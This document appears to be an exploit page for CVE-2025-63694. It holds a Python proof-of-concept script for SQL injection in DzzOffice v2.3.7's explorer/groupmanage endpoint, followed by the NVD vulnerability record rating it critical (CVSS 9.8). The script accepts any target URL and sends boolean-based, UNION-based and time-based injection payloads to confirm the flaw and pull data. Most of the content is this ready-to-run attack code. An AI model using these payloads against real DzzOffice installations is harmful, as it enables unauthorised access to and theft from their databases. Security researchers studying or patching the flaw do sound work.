CVE-2025-63694

import requests import sys # CVE-2025-63694 DzzOffice SQL Injection PoC # Target: DzzOffice v2.3.7 and before # Endpoint: explorer/groupmanage def exploit_sql_injection(target_url): """ SQL Injection exploit for DzzOffice explorer/groupmanage This PoC demonstrates boolean-based blind SQL injection """ # Vulnerable endpoint vuln_url = f"{target_url}/index.php?mod=explorer&op=groupmanage" # Normal request (baseline) normal_params = { 'groupid': '1' } # SQL Injection payloads for testing # Boolean-based blind SQL injection true_payload = "1' AND 1=1 -- " false_payload = "1' AND 1=2 -- " # Database version extraction payload version_payload = "1' AND (SELECT COUNT(*) FROM mysql.user) > 0 -- " # Union-based injection to extract data union_payload = "-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- " # Time-based blind SQL injection (MySQL) time_payload = "1' AND SLEEP(5) -- " headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection vulnerability...") # Test for vulnerability try: # Send true condition params = {'groupid': true_payload} response_true = requests.get(vuln_url, params=params, headers=headers, timeout=10) # Send false condition params = {'groupid': false_payload} response_false = requests.get(vuln_url, params=params, headers=headers, timeout=10) # Compare responses to determine if vulnerable if response_true.status_code == 200 and response_false.status_code != response_true.status_code: print("[+] Vulnerability confirmed! SQL Injection is present.") print("[+] True payload response length:", len(response_true.text)) print("[-] False payload response length:", len(response_false.text)) # Extract database version using UNION injection params = {'groupid': union_payload} response_union = requests.get(vuln_url, params=params, headers=headers, timeout=10) print("[+] UNION injection response:", response_union.text[:500]) return True else: print("[-] Target may not be vulnerable or is already patched.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_63694_poc.py <target_url>") print("Example: python cve_2025_63694_poc.py http://target.com/dzzoffice") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)

{"cve": {"id": "CVE-2025-63694", "sourceIdentifier": "[email protected]", "published": "2025-11-18T18:16:13.437", "lastModified": "2025-11-20T19:16:32.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DzzOffice v2.3.7 and before is vulnerable to SQL Injection in explorer/groupmanage."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.7", "matchCriteriaId": "0B33512C-5E3C-4DBE-908D-DF7E4F784FD4"}]}]}], "references": [{"url": "https://github.com/Yohane-Mashiro/dzzoffice_sql", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/zyx0814/dzzoffice/issues/364", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/Yohane-Mashiro/dzzoffice_sql", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}